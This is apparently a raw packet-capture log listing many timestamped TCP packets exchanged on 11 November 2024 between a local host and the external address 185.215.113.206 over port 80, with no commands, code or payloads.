Nov 11, 2024 19:17:55.477768898 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477780104 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477791071 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477798939 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477813005 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477829933 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477842093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477848053 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477861881 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477885008 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477952957 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477965117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.477989912 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.477999926 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478056908 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478068113 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478079081 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478090048 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478095055 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478104115 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478105068 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478131056 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478138924 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478149891 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478157043 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478162050 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478172064 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478179932 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478192091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478194952 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478203058 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478204966 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478218079 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478224039 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478246927 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478266954 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478270054 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478338957 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478379011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478391886 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478404045 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478415966 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478415966 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478429079 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478430986 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478441000 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478442907 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478466034 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478471994 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478492975 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478496075 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478503942 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478516102 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478521109 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478543997 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478555918 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478660107 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478671074 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478682041 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478698969 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478702068 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478710890 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478720903 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478728056 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478739023 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478745937 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478750944 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478758097 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478765011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478775978 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478790045 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478792906 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478806019 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478816986 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478817940 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478830099 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478841066 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478846073 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478853941 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478866100 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478877068 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478883982 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478888988 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478900909 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478903055 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478913069 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.478916883 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478929996 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.478960037 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479151011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479196072 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479330063 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479342937 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479355097 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479366064 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479373932 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479382038 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479382992 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479396105 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479407072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479415894 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479418039 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479429960 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479430914 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479445934 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479456902 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479464054 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479475021 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479482889 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479485989 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479497910 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479499102 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479516983 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479521036 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479528904 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479545116 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479548931 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479564905 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479571104 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479585886 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479593992 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479598999 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479610920 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479619026 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479630947 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479641914 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479654074 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479655981 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479671955 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479684114 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479685068 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479691029 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479696989 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479707003 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479718924 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479722977 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479728937 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479743958 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479743958 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479752064 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479764938 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479782104 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479785919 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479799032 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479809046 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479811907 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479820967 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479830027 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479834080 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479854107 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479860067 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479866028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479873896 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479877949 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479891062 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479902983 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479911089 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479916096 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479933023 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479934931 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479943037 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479954004 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479954004 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479967117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479979038 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.479985952 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.479990005 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480003119 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480010033 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480015039 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480026007 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480029106 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480037928 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480050087 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480051994 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480061054 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480078936 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480104923 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480119944 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480130911 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480146885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480149984 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480165958 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480185032 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480323076 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480341911 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480353117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480364084 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480367899 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480376959 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480386972 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480390072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480402946 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480405092 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480417013 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480428934 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480429888 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480444908 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480449915 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480463028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480473995 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480473995 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480488062 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480499029 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480505943 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480509996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480521917 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480524063 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480532885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480545998 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480551004 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480564117 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480566978 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480576992 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480587959 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480590105 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480600119 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480612040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480617046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480623960 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480637074 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480637074 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480649948 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480660915 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480664015 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480676889 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480695009 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480699062 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480707884 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480716944 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480727911 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480736017 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480740070 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480752945 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480753899 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480768919 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480787039 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.480963945 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480976105 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480986118 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.480997086 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481005907 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481013060 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481017113 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481024981 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481038094 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481050014 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481055975 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481062889 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481067896 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481090069 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481093884 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481106043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481112957 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481116056 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481131077 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481132030 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481142998 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481143951 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481148958 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481163025 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481165886 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481178045 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481193066 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481194973 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481201887 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481206894 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481216908 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481220961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481232882 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481247902 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481273890 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481276989 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481283903 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481296062 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481316090 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481317997 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481328011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481338024 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481343031 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481359005 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481369972 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481386900 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481405973 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481409073 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481417894 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481429100 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481440067 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481441975 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481453896 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481456041 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481482029 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481507063 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481506109 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481519938 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481537104 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481549025 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481559992 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481571913 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481573105 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481583118 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481585979 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481599092 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481610060 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481621027 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481622934 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481635094 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481637001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481651068 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481661081 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481661081 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481668949 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481678009 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481689930 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481700897 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481702089 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481713057 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481724977 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481730938 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481738091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481740952 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481751919 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481764078 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481765985 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481776953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481787920 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481796026 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481800079 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481812954 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481822014 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481826067 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.481838942 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.481864929 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.482042074 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.482053041 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.482064009 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.482075930 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.482085943 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:55.482088089 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:55.482100964 CET	80	49794	185.215.113.206	192.168.2.7
